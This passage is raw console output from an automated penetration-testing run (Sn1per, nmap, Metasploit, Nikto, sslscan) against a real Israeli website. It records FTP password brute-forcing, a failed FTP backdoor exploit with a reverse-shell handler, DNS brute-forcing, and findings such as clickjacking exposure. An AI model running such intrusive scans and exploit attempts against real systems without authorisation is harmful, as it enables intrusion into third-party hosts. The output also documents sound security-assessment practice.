  742.  [+] Domains saved to: /usr/share/sniper/loot/domains/domains-askezra.co.il-full.txt
  743. 
  744.  + -- ----------------------------=[Checking for Sub-Domain Hijacking]=------- -- +
  745.  + -- ----------------------------=[Checking Email Security]=----------------- -- +
  746.  
  747.  + -- ----------------------------=[Pinging host]=---------------------------- -- +
  748. PING askezra.co.il (62.128.52.211) 56(84) bytes of data.
  749. 64 bytes from rosh.spd.co.il (62.128.52.211): icmp_seq=1 ttl=53 time=179 ms
  750.  
  751. --- askezra.co.il ping statistics ---
  752. 1 packets transmitted, 1 received, 0% packet loss, time 0ms
  753. rtt min/avg/max/mdev = 179.179/179.179/179.179/0.000 ms
  754.  
  755.  + -- ----------------------------=[Running TCP port scan]=------------------- -- +
  756.  
  757. Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-16 13:46 EST
  758. Nmap scan report for askezra.co.il (62.128.52.211)
  759. Host is up (0.18s latency).
  760. rDNS record for 62.128.52.211: rosh.spd.co.il
  761. Not shown: 466 filtered ports
  762. Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
  763. PORT STATE SERVICE
  764. 21/tcp open ftp
  765. 53/tcp open domain
  766. 80/tcp open http
  767. 443/tcp open https
  768. 993/tcp open imaps
  769. 995/tcp open pop3s
  770. 2222/tcp open EtherNetIP-1
  771.  
  772. Nmap done: 1 IP address (1 host up) scanned in 14.35 seconds
  773.  
  774.  + -- ----------------------------=[Running Intrusive Scans]=----------------- -- +
  775.  + -- --=[Port 21 opened... running tests...
  776.  
  777. Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-16 13:47 EST
  778. Nmap scan report for askezra.co.il (62.128.52.211)
  779. Host is up (0.18s latency).
  780. rDNS record for 62.128.52.211: rosh.spd.co.il
  781.  
  782. PORT STATE SERVICE VERSION
  783. 21/tcp open ftp ProFTPD
  784. | ftp-brute:
  785. | Accounts: No valid accounts found
  786. |_ Statistics: Performed 2452 guesses in 181 seconds, average tps: 12.8
  787. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
  788. Device type: general purpose
  789. Running (JUST GUESSING): Linux 2.6.X|4.X|3.X (91%)
  790. OS CPE: cpe:/o:linux:linux_kernel:2.6.39 cpe:/o:linux:linux_kernel:4.4 cpe:/o:linux:linux_kernel:3
  791. Aggressive OS guesses: Linux 2.6.39 (91%), Linux 4.4 (91%), Linux 3.10 - 3.12 (89%), Linux 2.6.18 - 2.6.22 (86%), Linux 4.0 (86%), Linux 3.10 - 4.8 (85%), Linux 3.11 - 4.1 (85%), Linux 3.18 (85%), Linux 3.2 - 4.8 (85%)
  792. No exact OS matches for host (test conditions non-ideal).
  793. Network Distance: 13 hops
  794.  
  795. TRACEROUTE (using port 21/tcp)
  796. HOP RTT ADDRESS
  797. 1 109.56 ms 10.13.0.1
  798. 2 110.18 ms 37.187.24.253
  799. 3 109.61 ms 10.50.225.61
  800. 4 109.91 ms 10.17.129.42
  801. 5 109.61 ms 10.73.0.54
  802. 6 ...
  803. 7 113.20 ms be100-1107.ldn-1-a9.uk.eu (91.121.215.179)
  804. 8 113.19 ms edge.lon-01012.net.il (195.66.225.114)
  805. 9 113.17 ms edge.lon-01012.net.il (195.66.225.114)
  806. 10 183.49 ms 80.179.165.213.static.012.net.il (80.179.165.213)
  807. 11 ...
  808. 12 182.69 ms 62.128.52.2.static.hosting.spd.co.il (62.128.52.2)
  809. 13 169.46 ms rosh.spd.co.il (62.128.52.211)
  810.  
  811. OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  812. Nmap done: 1 IP address (1 host up) scanned in 220.38 seconds
  813. 
  814. . .
  815. .
  816.  
  817. dBBBBBBb dBBBP dBBBBBBP dBBBBBb . o
  818.  ' dB' BBP
  819. dB'dB'dB' dBBP dBP dBP BB
  820. dB'dB'dB' dBP dBP dBP BB
  821. dB'dB'dB' dBBBBP dBP dBBBBBBB
  822.  
  823. dBBBBBP dBBBBBb dBP dBBBBP dBP dBBBBBBP
  824. . . dB' dBP dB'.BP
  825. | dBP dBBBB' dBP dB'.BP dBP dBP
  826. --o-- dBP dBP dBP dB'.BP dBP dBP
  827. | dBBBBP dBP dBBBBP dBBBBP dBP dBP
  828.  
  829. .
  830. .
  831. o To boldly go where no
  832. shell has gone before
  833. 
  834.  
  835. =[ metasploit v4.16.22-dev ]
  836. + -- --=[ 1707 exploits - 970 auxiliary - 299 post ]
  837. + -- --=[ 503 payloads - 40 encoders - 10 nops ]
  838. + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
  839.  
  840. RHOST => askezra.co.il
  841. RHOSTS => askezra.co.il
  842. [*] askezra.co.il:21 - Banner: 220 FTP Server
  843. [*] askezra.co.il:21 - USER: 331 Password required for yQM:)
  844. [*] Exploit completed, but no session was created.
  845. [!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
  846. [*] Started reverse TCP double handler on 127.0.0.1:4444
  847. [*] askezra.co.il:21 - Sending Backdoor Command
  848. [-] askezra.co.il:21 - Not backdoored
  849. [*] Exploit completed, but no session was created.
  850.  + -- --=[Port 22 closed... skipping.
  851.  + -- --=[Port 23 closed... skipping.
  852.  + -- --=[Port 25 closed... skipping.
  853.  + -- --=[Port 53 opened... running tests...
  854.  
  855. Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-16 13:56 EST
  856. Nmap scan report for askezra.co.il (62.128.52.211)
  857. Host is up (0.23s latency).
  858. rDNS record for 62.128.52.211: rosh.spd.co.il
  859.  
  860. PORT STATE SERVICE VERSION
  861. 53/udp open domain ISC BIND 6.6.6
  862. |_dns-cache-snoop: 0 of 100 tested domains are cached.
  863. |_dns-fuzz: The server seems impervious to our assault.
  864. | dns-nsec-enum:
  865. |_ No NSEC records found
  866. | dns-nsec3-enum:
  867. |_ DNSSEC NSEC3 not supported
  868. | dns-nsid:
  869. |_ bind.version: 6.6.6
  870. Too many fingerprints match this host to give specific OS details
  871. Network Distance: 12 hops
  872.  
  873. Host script results:
  874. | dns-brute:
  875. | DNS Brute-force hostnames:
  876. | host.co.il - 148.251.90.173
  877. | development.co.il - 46.101.238.24
  878. | mysql.co.il - 216.239.32.21
  879. | mysql.co.il - 216.239.34.21
  880. | mysql.co.il - 216.239.36.21
  881. | mysql.co.il - 216.239.38.21
  882. | http.co.il - 212.150.243.210
  883. | images.co.il - 67.23.177.200
  884. | test.co.il - 127.0.0.1
  885. | news.co.il - 188.166.109.104
  886. | info.co.il - 104.31.92.2
  887. | info.co.il - 104.31.93.2
  888. | noc.co.il - 96.31.35.145
  889. | info.co.il - 2400:cb00:2048:1:0:0:681f:5c02
  890. | info.co.il - 2400:cb00:2048:1:0:0:681f:5d02
  891. | test1.co.il - 192.185.236.196
  892. | internet.co.il - 95.175.32.10
  893. | test2.co.il - 209.88.192.216
  894. | dns.co.il - 82.80.253.15
  895. | ns1.co.il - 178.32.55.171
  896. | intra.co.il - 62.219.78.158
  897. | intranet.co.il - 194.90.1.109
  898. | testing.co.il - 192.117.125.106
  899. | ns2.co.il - 92.222.209.88
  900. | upload.co.il - 192.185.139.151
  901. | download.co.il - 148.251.90.173
  902. | ntp.co.il - 107.154.156.178
  903. | ntp.co.il - 107.154.163.178
  904. | vnc.co.il - 194.90.1.109
  905. | ops.co.il - 108.167.143.8
  906. | voip.co.il - 212.179.240.8
  907. | erp.co.il - 69.163.219.179
  908. | owa.co.il - 212.29.214.195
  909. | pbx.co.il - 81.218.230.2
  910. | secure.co.il - 62.219.17.162
  911. | server.co.il - 148.251.90.173
  912. | shop.co.il - 188.166.109.104
  913. | sip.co.il - 213.8.172.5
  914. | sql.co.il - 192.254.237.210
  915. | linux.co.il - 81.218.80.235
  916. | squid.co.il - 23.99.97.249
  917. | local.co.il - 173.212.236.162
  918. | ssh.co.il - 81.218.229.185
  919. | log.co.il - 82.80.201.26
  920. | mail.co.il - 192.118.70.232
  921. | ssl.co.il - 82.80.253.21
  922. | stage.co.il - 52.58.94.54
  923. | manage.co.il - 192.117.172.13
  924. | mobile.co.il - 182.50.132.56
  925. | monitor.co.il - 194.90.1.109
  926. | mta.co.il - 212.199.167.22
  927. | adserver.co.il - 195.128.177.33
  928. | alpha.co.il - 34.248.159.186
  929. | alpha.co.il - 54.229.170.136
  930. | web.co.il - 192.115.21.75
  931. | app.co.il - 82.80.73.209
  932. | whois.co.il - 109.74.198.188
  933. | www2.co.il - 64.90.49.227
  934. | apps.co.il - 72.52.4.122
  935. | beta.co.il - 185.70.251.47
  936. | blog.co.il - 212.143.60.51
  937. | firewall.co.il - 62.219.67.17
  938. | forum.co.il - 62.219.11.147
  939. | ftp.co.il - 198.23.57.32
  940. | git.co.il - 81.218.229.200
  941. | help.co.il - 82.80.209.181
  942. | home.co.il - 104.31.84.173
  943. | home.co.il - 104.31.85.173
  944. | home.co.il - 2400:cb00:2048:1:0:0:681f:54ad
  945. | home.co.il - 2400:cb00:2048:1:0:0:681f:55ad
  946. | chat.co.il - 95.175.47.103
  947. | citrix.co.il - 165.160.13.20
  948. | citrix.co.il - 165.160.15.20
  949. | cms.co.il - 194.90.203.76
  950. | corp.co.il - 204.93.178.102
  951. | crs.co.il - 136.243.93.246
  952. | cvs.co.il - 194.90.8.80
  953. | demo.co.il - 212.235.14.43
  954. |_ dev.co.il - 84.94.227.90
  955.  
  956. TRACEROUTE (using port 53/udp)
  957. HOP RTT ADDRESS
  958. 1 235.09 ms 10.13.0.1
  959. 2 247.85 ms 37.187.24.253
  960. 3 243.85 ms 10.50.225.61
  961. 4 251.37 ms 10.17.129.42
  962. 5 239.39 ms 10.73.0.50
  963. 6 ...
  964. 7 261.92 ms be100-1111.ldn-5-a9.uk.eu (213.251.128.65)
  965. 8 254.91 ms edge.lon-01012.net.il (195.66.225.114)
  966. 9 258.44 ms 195.66.226.60
  967. 10 267.99 ms EDGE-LON-MX-02-so-4-0-0-0.ip4.012.net.il (80.179.165.17)
  968. 11 286.81 ms 80.179.165.222.static.012.net.il (80.179.165.222)
  969. 12 284.27 ms rosh.spd.co.il (62.128.52.211)
  970.  
  971. OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  972. Nmap done: 1 IP address (1 host up) scanned in 627.50 seconds
  973.  + -- --=[Port 79 closed... skipping.
  974.  + -- --=[Port 80 opened... running tests...
  975.  + -- ----------------------------=[Checking for WAF]=------------------------ -- +
  976.  
  977. ^ ^
  978. _ __ _ ____ _ __ _ _ ____
  979. ///7/ /.' \ / __////7/ /,' \ ,' \ / __/
  980. | V V // o // _/ | V V // 0 // 0 // _/
  981. |_n_,'/_n_//_/ |_n_,' \_,' \_,'/_/
  982. <
  983. ...'
  984.  
  985. WAFW00F - Web Application Firewall Detection Tool
  986.  
  987. By Sandro Gauci && Wendel G. Henrique
  988.  
  989. Checking http://askezra.co.il
  990. Generic Detection results:
  991. No WAF detected by the generic detection
  992. Number of requests: 13
  993.  
  994.  + -- ----------------------------=[Gathering HTTP Info]=--------------------- -- +
  995. http://askezra.co.il [307 Temporary Redirect] Cookies[SPDTC], Country[ISRAEL][IL], HTTPServer[nginx], IP[62.128.52.211], RedirectLocation[http://askezra.co.il/], Title[307 Temporary Redirect], UncommonHeaders[x-rocket-nginx-bypass], nginx
  996.  
  997.  __ ______ _____ 
  998.  \ \/ / ___|_ _|
  999.  \ /\___ \ | | 
  1000.  / \ ___) || | 
  1001.  /_/\_|____/ |_| 
  1002.  
  1003. + -- --=[Cross-Site Tracer v1.3 by 1N3 @ CrowdShield
  1004. + -- --=[Target: askezra.co.il:80
  1005. + -- --=[Site not vulnerable to Cross-Site Tracing!
  1006. + -- --=[Site not vulnerable to Host Header Injection!
  1007. + -- --=[Site vulnerable to Cross-Frame Scripting!
  1008. + -- --=[Site vulnerable to Clickjacking!
  1009.  
  1010. HTTP/1.1 405 Not Allowed
  1011. Server: nginx
  1012. Date: Sat, 16 Dec 2017 19:09:23 GMT
  1013. Content-Type: text/html
  1014. Content-Length: 166
  1015. Connection: close
  1016.  
  1017. <html>
  1018. <head><title>405 Not Allowed</title></head>
  1019. <body bgcolor="white">
  1020. <center><h1>405 Not Allowed</h1></center>
  1021. <hr><center>nginx</center>
  1022. </body>
  1023. </html>
  1024. 
  1025. HTTP/1.1 307 Temporary Redirect
  1026. Server: nginx
  1027. Date: Sat, 16 Dec 2017 19:09:41 GMT
  1028. Content-Type: text/html
  1029. Content-Length: 180
  1030. Connection: keep-alive
  1031. Set-Cookie: SPDTC=f6b06a6df03894ef816b8933c97e95c9; path=/
  1032. P3P: CP="CUR ADM OUR NOR STA NID", policyref="/w3c/p3p.xml"
  1033. Location: http://askezra.co.il/
  1034. X-Rocket-Nginx-Bypass: No
  1035.  
  1036. <html>
  1037. <head><title>307 Temporary Redirect</title></head>
  1038. <body bgcolor="white">
  1039. <center><h1>307 Temporary Redirect</h1></center>
  1040. <hr><center>nginx</center>
  1041. </body>
  1042. </html>
  1043. 
  1044.  
  1045.  
  1046.  
  1047.  + -- ----------------------------=[Checking HTTP Headers]=------------------- -- +
  1048. + -- --=[Checking if X-Content options are enabled on askezra.co.il... 
  1049.  
  1050. + -- --=[Checking if X-Frame options are enabled on askezra.co.il... 
  1051.  
  1052. + -- --=[Checking if X-XSS-Protection header is enabled on askezra.co.il... 
  1053.  
  1054. + -- --=[Checking HTTP methods on askezra.co.il... 
  1055.  
  1056. + -- --=[Checking if TRACE method is enabled on askezra.co.il... 
  1057.  
  1058. + -- --=[Checking for META tags on askezra.co.il... 
  1059.  
  1060. + -- --=[Checking for open proxy on askezra.co.il... 
  1061.  
  1062. + -- --=[Enumerating software on askezra.co.il... 
  1063. Server: nginx
  1064.  
  1065. + -- --=[Checking if Strict-Transport-Security is enabled on askezra.co.il... 
  1066.  
  1067. + -- --=[Checking for Flash cross-domain policy on askezra.co.il... 
  1068. <html>
  1069. <head><title>307 Temporary Redirect</title></head>
  1070. <body bgcolor="white">
  1071. <center><h1>307 Temporary Redirect</h1></center>
  1072. <hr><center>nginx</center>
  1073. </body>
  1074. </html>
  1075.  
  1076. + -- --=[Checking for Silverlight cross-domain policy on askezra.co.il... 
  1077. <html>
  1078. <head><title>307 Temporary Redirect</title></head>
  1079. <body bgcolor="white">
  1080. <center><h1>307 Temporary Redirect</h1></center>
  1081. <hr><center>nginx</center>
  1082. </body>
  1083. </html>
  1084.  
  1085. + -- --=[Checking for HTML5 cross-origin resource sharing on askezra.co.il... 
  1086.  
  1087. + -- --=[Retrieving robots.txt on askezra.co.il... 
  1088. User-agent: *
  1089. Allow: /
  1090.  
  1091.  
  1092. + -- --=[Retrieving sitemap.xml on askezra.co.il... 
  1093. <html>
  1094. <head><title>307 Temporary Redirect</title></head>
  1095. <body bgcolor="white">
  1096. <center><h1>307 Temporary Redirect</h1></center>
  1097. <hr><center>nginx</center>
  1098. </body>
  1099. </html>
  1100.  
  1101. + -- --=[Checking cookie attributes on askezra.co.il... 
  1102. Set-Cookie: SPDTC=cc4a1ddde199e595e27b373799c52bb2; path=/
  1103.  
  1104. + -- --=[Checking for ASP.NET Detailed Errors on askezra.co.il... 
  1105.  
  1106. 
  1107.  + -- ----------------------------=[Running Web Vulnerability Scan]=---------- -- +
  1108. - Nikto v2.1.6
  1109. ---------------------------------------------------------------------------
  1110. + Target IP: 62.128.52.211
  1111. + Target Hostname: askezra.co.il
  1112. + Target Port: 80
  1113. + Start Time: 2017-12-16 14:12:58 (GMT-5)
  1114. ---------------------------------------------------------------------------
  1115. + Server: nginx
  1116. + Cookie SPDTC created without the httponly flag
  1117. + The anti-clickjacking X-Frame-Options header is not present.
  1118. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
  1119. + Uncommon header 'x-rocket-nginx-bypass' found, with contents: No
  1120. + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
  1121. + Root page / redirects to: http://askezra.co.il/
  1122. + No CGI Directories found (use '-C all' to force check all possible dirs)
  1123. + Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x497f4219 0x18
  1124. + "robots.txt" contains 1 entry which should be manually viewed.
  1125. + OSVDB-3092: /license.txt: License file found may identify site software.
  1126. + 7506 requests: 7 error(s) and 8 item(s) reported on remote host
  1127. + End Time: 2017-12-16 14:48:22 (GMT-5) (2124 seconds)
  1128. ---------------------------------------------------------------------------
  1129. + 1 host(s) tested
  1130.  + -- ----------------------------=[Saving Web Screenshots]=------------------ -- +
  1131. [+] Screenshot saved to /usr/share/sniper/loot/screenshots/askezra.co.il-port80.jpg
  1132.  + -- ----------------------------=[Running Google Hacking Queries]=--------------------- -- +
  1133.  + -- ----------------------------=[Running InUrlBR OSINT Queries]=---------- -- +
  1134.  
  1135.  _____  .701F. .iBR. .7CL. .70BR. .7BR. .7BR'''Cq. .70BR. .1BR'''Yp, .8BR'''Cq.
  1136.  (_____) 01 01N. C 01 C 01 .01. 01  01 Yb 01 .01.
  1137.  (() ()) 01 C YCb C 01 C 01 ,C9 01  01 dP 01 ,C9
  1138.  \ /  01 C .CN. C 01 C 0101dC9 01  01'''bg. 0101dC9
  1139.  \ /  01 C .01.C 01 C 01 YC. 01 ,  01 .Y 01 YC.
  1140.  /=\  01 C Y01 YC. ,C 01 .Cb. 01 ,C  01 ,9 01 .Cb.
  1141.  [___]  .J01L. .JCL. YC .b0101d'. .J01L. .J01. .J01010101C .J0101Cd9 .J01L. .J01./ 2.1
  1142.  
  1143. __[ ! ] Neither war between hackers, nor peace for the system.
  1144. __[ ! ] http://blog.inurl.com.br
  1145. __[ ! ] http://fb.com/InurlBrasil
  1146. __[ ! ] http://twitter.com/@googleinurl
  1147. __[ ! ] http://github.com/googleinurl
  1148. __[ ! ] Current PHP version::[ 7.0.26-1 ]
  1149. __[ ! ] Current script owner::[ root ]
  1150. __[ ! ] Current uname::[ Linux Kali 4.14.0-kali1-amd64 #1 SMP Debian 4.14.2-1kali1 (2017-12-04) x86_64 ]
  1151. __[ ! ] Current pwd::[ /usr/share/sniper ]
  1152. __[ ! ] Help: php inurlbr.php --help
  1153. ------------------------------------------------------------------------------------------------------------------------
  1154.  
  1155. [ ! ] Starting SCANNER INURLBR 2.1 at [16-12-2017 14:49:43]
  1156. [ ! ] legal disclaimer: Usage of INURLBR for attacking targets without prior mutual consent is illegal.
  1157. It is the end user's responsibility to obey all applicable local, state and federal laws.
  1158. Developers assume no liability and are not responsible for any misuse or damage caused by this program
  1159.  
  1160. [ INFO ][ OUTPUT FILE ]:: [ /usr/share/sniper/output/inurlbr-askezra.co.il.txt ]
  1161. [ INFO ][ DORK ]::[ site:askezra.co.il ]
  1162. [ INFO ][ SEARCHING ]:: {
  1163. [ INFO ][ ENGINE ]::[ GOOGLE - www.google.com.pe ]
  1164.  
  1165. [ INFO ][ SEARCHING ]:: 
  1166. -[:::]
  1167. [ INFO ][ ENGINE ]::[ GOOGLE API ]
  1168.  
  1169. [ INFO ][ SEARCHING ]:: 
  1170. -[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]
  1171. [ INFO ][ ENGINE ]::[ GOOGLE_GENERIC_RANDOM - www.google.cc ID: 006748068166572874491:55ez0c3j3ey ]
  1172.  
  1173. [ INFO ][ SEARCHING ]:: 
  1174. -[:::]-[:::]-[:::]-[:::]-[:::]-[:::]
  1175.  
  1176. [ INFO ][ TOTAL FOUND VALUES ]:: [ 0 ]
  1177. [ INFO ] Not a satisfactory result was found!
  1178.  
  1179.  
  1180. [ INFO ] [ Shutting down ]
  1181. [ INFO ] [ End of process INURLBR at [16-12-2017 14:51:33]
  1182. [ INFO ] [ TOTAL FILTERED VALUES ]:: [ 0 ]
  1183. [ INFO ] [ OUTPUT FILE ]:: [ /usr/share/sniper/output/inurlbr-askezra.co.il.txt ]
  1184. |_________________________________________________________________________________________
  1185.  
  1186. \_________________________________________________________________________________________/
  1187.  
  1188.  + -- --=[Port 110 closed... skipping.
  1189.  + -- --=[Port 111 closed... skipping.
  1190.  + -- --=[Port 135 closed... skipping.
  1191.  + -- --=[Port 139 closed... skipping.
  1192.  + -- --=[Port 161 closed... skipping.
  1193.  + -- --=[Port 162 closed... skipping.
  1194.  + -- --=[Port 389 closed... skipping.
  1195.  + -- --=[Port 443 opened... running tests...
  1196.  + -- ----------------------------=[Checking for WAF]=------------------------ -- +
  1197.  
  1198. ^ ^
  1199. _ __ _ ____ _ __ _ _ ____
  1200. ///7/ /.' \ / __////7/ /,' \ ,' \ / __/
  1201. | V V // o // _/ | V V // 0 // 0 // _/
  1202. |_n_,'/_n_//_/ |_n_,' \_,' \_,'/_/
  1203. <
  1204. ...'
  1205.  
  1206. WAFW00F - Web Application Firewall Detection Tool
  1207.  
  1208. By Sandro Gauci && Wendel G. Henrique
  1209.  
  1210. Checking https://askezra.co.il
  1211.  
  1212.  + -- ----------------------------=[Checking Cloudflare]=--------------------- -- +
  1213. ____ _ _ _____ _ _
  1214. / ___| | ___ _ _ __| | ___|_ _(_) |
  1215. | | | |/ _ \| | | |/ _` | |_ / _` | | |
  1216. | |___| | (_) | |_| | (_| | _| (_| | | |
  1217. \____|_|\___/ \__,_|\__,_|_| \__,_|_|_|
  1218. v1.0.1 by m0rtem
  1219.  
  1220.  
  1221. [14:51:44] Initializing CloudFail - the date is: 16/12/2017
  1222. [14:51:44] Fetching initial information from: askezra.co.il...
  1223. [14:51:52] Server IP: 62.128.52.211
  1224. [14:51:52] Testing if askezra.co.il is on the Cloudflare network...
  1225. [14:51:52] askezra.co.il is not part of the Cloudflare network, quitting...
  1226.  + -- ----------------------------=[Gathering HTTP Info]=--------------------- -- +
  1227. https://askezra.co.il [307 Temporary Redirect] Cookies[SPDTC], Country[ISRAEL][IL], HTTPServer[nginx], IP[62.128.52.211], RedirectLocation[https://askezra.co.il/], Title[307 Temporary Redirect], UncommonHeaders[x-rocket-nginx-bypass], nginx
  1228.  
  1229.  + -- ----------------------------=[Gathering SSL/TLS Info]=------------------ -- +
  1230.  
  1231.  
  1232.  
  1233. AVAILABLE PLUGINS
  1234. -----------------
  1235.  
  1236. PluginOpenSSLCipherSuites
  1237. PluginCertInfo
  1238. PluginCompression
  1239. PluginChromeSha1Deprecation
  1240. PluginHSTS
  1241. PluginSessionResumption
  1242. PluginSessionRenegotiation
  1243. PluginHeartbleed
  1244.  
  1245.  
  1246.  
  1247. CHECKING HOST(S) AVAILABILITY
  1248. -----------------------------
  1249.  
  1250. askezra.co.il:443 => 62.128.52.211:443
  1251.  
  1252.  
  1253.  
  1254. SCAN RESULTS FOR ASKEZRA.CO.IL:443 - 62.128.52.211:443
  1255. ------------------------------------------------------
  1256.  
  1257. * Deflate Compression:
  1258. OK - Compression disabled
  1259.  
  1260. * Session Renegotiation:
  1261. Client-initiated Renegotiations: OK - Rejected
  1262. Secure Renegotiation: OK - Supported
  1263.  
  1264. * Certificate - Content:
  1265. SHA1 Fingerprint: 06e4539a1f048bb207d5538ea099e56d0044bb51
  1266. Common Name: *.spd.co.il
  1267. Issuer: RapidSSL SHA256 CA - G2
  1268. Serial Number: 2A0FF6BFE1C614B2F20E230E0A1803A9
  1269. Not Before: Jul 4 00:00:00 2016 GMT
  1270. Not After: Jul 4 23:59:59 2019 GMT
  1271. Signature Algorithm: sha256WithRSAEncryption
  1272. Public Key Algorithm: rsaEncryption
  1273. Key Size: 4096 bit
  1274. Exponent: 65537 (0x10001)
  1275. X509v3 Subject Alternative Name: {'DNS': ['*.spd.co.il', 'spd.co.il']}
  1276.  
  1277. * Certificate - Trust:
  1278. Hostname Validation: FAILED - Certificate does NOT match askezra.co.il
  1279. Microsoft CA Store (09/2015): FAILED - Certificate is NOT Trusted: unable to get local issuer certificate
  1280. Google CA Store (09/2015): ERROR: timeout - timed out
  1281. Java 6 CA Store (Update 65): ERROR: timeout - timed out
  1282. Mozilla NSS CA Store (09/2015): ERROR: timeout - timed out
  1283. Apple CA Store (OS X 10.10.5): ERROR: timeout - timed out
  1284. Certificate Chain Received: ['*.spd.co.il', 'COMODO High-Assurance Secure Server CA', 'AddTrust External CA Root', 'GlobalSign Root CA', 'thawte Primary Root CA', 'VeriSign Class 3 Secure Server CA - G3', 'VeriSign Class 3 Public Primary Certification Authority - G5']
  1285.  
  1286. * Certificate - OCSP Stapling:
  1287. NOT SUPPORTED - Server did not send back an OCSP response.
  1288.  
  1289. * Session Resumption:
  1290. With Session IDs: PARTIALLY SUPPORTED (2 successful, 0 failed, 3 errors, 5 total attempts). Try --resum_rate.
  1291. ERROR #1: timeout - timed out
  1292. ERROR #2: timeout - timed out
  1293. ERROR #3: timeout - timed out
  1294. With TLS Session Tickets: ERROR: timeout - timed out
  1295.  
  1296. * SSLV3 Cipher Suites:
  1297. Undefined - An unexpected error happened:
  1298. DHE-RSA-SEED-SHA timeout - timed out
  1299. DHE-DSS-SEED-SHA timeout - timed out
  1300.  
  1301. * SSLV2 Cipher Suites:
  1302. Server rejected all cipher suites.
  1303.  
  1304.  
  1305.  
  1306. SCAN COMPLETED IN 44.17 S
  1307. -------------------------
  1308. Version: 1.11.10-static
  1309. OpenSSL 1.0.2-chacha (1.0.2g-dev)
  1310. 
  1311. Testing SSL server askezra.co.il on port 443 using SNI name askezra.co.il
  1312.  
  1313. TLS Fallback SCSV:
  1314. Server supports TLS Fallback SCSV
  1315.  
  1316. TLS renegotiation:
  1317. Secure session renegotiation supported
  1318.  
  1319. TLS Compression:
  1320. Compression disabled
  1321.  
  1322. Heartbleed:
  1323. TLS 1.2 not vulnerable to heartbleed
  1324. TLS 1.1 not vulnerable to heartbleed
  1325. TLS 1.0 not vulnerable to heartbleed
  1326.  
  1327. Supported Server Cipher(s):
  1328. Preferred TLSv1.2 128 bits ECDHE-RSA-AES128-GCM-SHA256  Curve P-256 DHE 256
  1329. Accepted TLSv1.2 256 bits ECDHE-RSA-AES256-GCM-SHA384  Curve P-256 DHE 256
  1330. Accepted TLSv1.2 128 bits DHE-RSA-AES128-GCM-SHA256  DHE 2048 bits
  1331. Accepted TLSv1.2 256 bits DHE-RSA-AES256-GCM-SHA384  DHE 2048 bits
  1332. Accepted TLSv1.2 128 bits ECDHE-RSA-AES128-SHA256 Curve P-256 DHE 256
  1333. Accepted TLSv1.2 128 bits ECDHE-RSA-AES128-SHA Curve P-256 DHE 256
  1334. Accepted TLSv1.2 256 bits ECDHE-RSA-AES256-SHA384 Curve P-256 DHE 256
  1335. Accepted TLSv1.2 256 bits ECDHE-RSA-AES256-SHA Curve P-256 DHE 256
  1336. Accepted TLSv1.2 128 bits DHE-RSA-AES128-SHA256 DHE 2048 bits
  1337. Accepted TLSv1.2 128 bits DHE-RSA-AES128-SHA DHE 2048 bits
  1338. Accepted TLSv1.2 256 bits DHE-RSA-AES256-SHA256 DHE 2048 bits
  1339. Accepted TLSv1.2 256 bits DHE-RSA-AES256-SHA DHE 2048 bits
  1340. Accepted TLSv1.2 128 bits AES128-GCM-SHA256
  1341. Accepted TLSv1.2 256 bits AES256-GCM-SHA384
  1342. Accepted TLSv1.2 128 bits AES128-SHA256
  1343. Accepted TLSv1.2 256 bits AES256-SHA256
  1344. Accepted TLSv1.2 128 bits AES128-SHA
  1345. Accepted TLSv1.2 256 bits AES256-SHA
  1346. Accepted TLSv1.2 256 bits ECDHE-RSA-CAMELLIA256-SHA384 Curve P-256 DHE 256
  1347. Accepted TLSv1.2 256 bits DHE-RSA-CAMELLIA256-SHA256 DHE 2048 bits
  1348. Accepted TLSv1.2 128 bits ECDHE-RSA-CAMELLIA128-SHA256 Curve P-256 DHE 256
  1349. Accepted TLSv1.2 128 bits DHE-RSA-CAMELLIA128-SHA256 DHE 2048 bits
  1350. Accepted TLSv1.2 256 bits DHE-RSA-CAMELLIA256-SHA DHE 2048 bits
  1351. Accepted TLSv1.2 128 bits DHE-RSA-CAMELLIA128-SHA DHE 2048 bits
  1352. Accepted TLSv1.2 256 bits CAMELLIA256-SHA256
  1353. Accepted TLSv1.2 128 bits CAMELLIA128-SHA256
  1354. Accepted TLSv1.2 256 bits CAMELLIA256-SHA
  1355. Accepted TLSv1.2 128 bits CAMELLIA128-SHA
  1356. Preferred TLSv1.1 128 bits ECDHE-RSA-AES128-SHA Curve P-256 DHE 256
  1357. Accepted TLSv1.1 256 bits ECDHE-RSA-AES256-SHA Curve P-256 DHE 256
  1358. Accepted TLSv1.1 128 bits DHE-RSA-AES128-SHA DHE 2048 bits
  1359. Accepted TLSv1.1 256 bits DHE-RSA-AES256-SHA DHE 2048 bits
  1360. Accepted TLSv1.1 128 bits AES128-SHA
  1361. Accepted TLSv1.1 256 bits AES256-SHA
  1362. Accepted TLSv1.1 256 bits DHE-RSA-CAMELLIA256-SHA DHE 2048 bits
  1363. Accepted TLSv1.1 128 bits DHE-RSA-CAMELLIA128-SHA DHE 2048 bits
  1364. Accepted TLSv1.1 256 bits CAMELLIA256-SHA
  1365. Accepted TLSv1.1 128 bits CAMELLIA128-SHA
  1366. Preferred TLSv1.0 128 bits ECDHE-RSA-AES128-SHA Curve P-256 DHE 256
  1367. Accepted TLSv1.0 256 bits ECDHE-RSA-AES256-SHA Curve P-256 DHE 256
  1368. Accepted TLSv1.0 128 bits DHE-RSA-AES128-SHA DHE 2048 bits
  1369. Accepted TLSv1.0 256 bits DHE-RSA-AES256-SHA DHE 2048 bits
  1370. Accepted TLSv1.0 128 bits AES128-SHA
  1371. Accepted TLSv1.0 256 bits AES256-SHA
  1372. Accepted TLSv1.0 256 bits DHE-RSA-CAMELLIA256-SHA DHE 2048 bits
  1373. Accepted TLSv1.0 128 bits DHE-RSA-CAMELLIA128-SHA DHE 2048 bits
  1374. Accepted TLSv1.0 256 bits CAMELLIA256-SHA
